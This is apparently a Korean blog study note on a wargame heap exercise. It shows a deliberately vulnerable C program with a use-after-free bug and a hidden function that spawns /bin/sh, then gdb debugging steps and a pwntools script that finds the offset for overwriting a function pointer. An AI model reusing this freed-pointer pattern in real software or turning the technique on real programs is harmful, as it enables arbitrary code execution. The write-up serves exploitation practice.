uaf.c
#include <stdio.h>
#include <malloc.h>
typedef struct test{
char *name[50];
void (*greetings)(void *name);
void (*bye)(void *name);
}VULN;
void *say_hello(void *name){
printf("Hello! %s\n", (char*)name);
}
void *say_goodbye(void *name){
printf("ByeBye! %s\n", (char*)name);
}
void main()
{
void *vuln_test;
VULN *vuln = (char*)malloc(100);
vuln->greetings = say_hello;
vuln->bye = say_goodbye;
printf("Input your name : ");
scanf("%s", (char*)vuln->name);
vuln->greetings(vuln->name);
free(vuln);
vuln_test = (char*)malloc(100);
printf("realloc 100, Input String : ");
scanf("%s", (char*)vuln_test);
printf("Your message is : %s\n", (char*)vuln_test);
vuln->bye(vuln->name);
free(vuln_test);
}
void vuln()
{
system("/bin/sh");
}
출처: https://shayete.tistory.com/entry/7-Use-After-Free
1. 문제해결 및 분석
1. gdb ./uaf
disas main
malloc 이후 ni
b *main+21
드래그된 부분을 통해 힙 정보 확인
1-2. x/100wx 0x804b160 - 0x8
heap size에 0x71 들어가 있다.
원래는 0x70이지만 1바이트가 추가된 것은 heap으로 정상적으로 할당되었다는 의미
1-3. 다시 disas main
이름 입력하는 부분까지
b *main+85
1-4. x/100wx 0x804b160 - 0x8
1-5. attch
터미널 2개 열고
왼쪽 터미널에서 gdb ./uaf (pid번호) 혹
gdb ./uaf
attach 9510
gedit uaf.py 파일을 하나 만들어서 아래와 같이 입력한다.
#uaf.py
from pwn import *
#bin_sh = p32(0xFFFFFFFF)
#offset =
#payload = 'A' * offset + bin_sh
pattern = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
p = process('uaf')
print p.recvrepeat(1)
p.sendline('ResSJ')
print p.recvrepeat(1)
pause()
p.sendline(pattern)
#p.sendline(payload)
p.interactive()
그런 후 오른쪽 터미널에서
python uaf.py
왼쪽 터미널에
disas main
b *main+201
conti
오른쪽 터미널에서 엔터하면 위와 같이 레지스터 정보가 나온다
eax에 있는 값에
pattern offset AAbA를 한다.
disas vuln 하여 주소값 획득
여러 번 해본 결과 mov할 때의 주소만 되고 다른 건 안 됨.
왜 그러는지 모르겠으니 공부하는 걸로
1-6. 해결
bin_sh에 vuln 주소값을
offset은 위에서 구한 offset을
payload는 위와 같이 구성하면 된다.
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] heap2 (0) | 2019.01.28 |
---|---|
[프로토스타] heap1 (0) | 2019.01.24 |
[프로토스타] heap0 (0) | 2019.01.23 |
[프로토스타] format4 (0) | 2019.01.23 |
[프로토스타] format3 (0) | 2019.01.23 |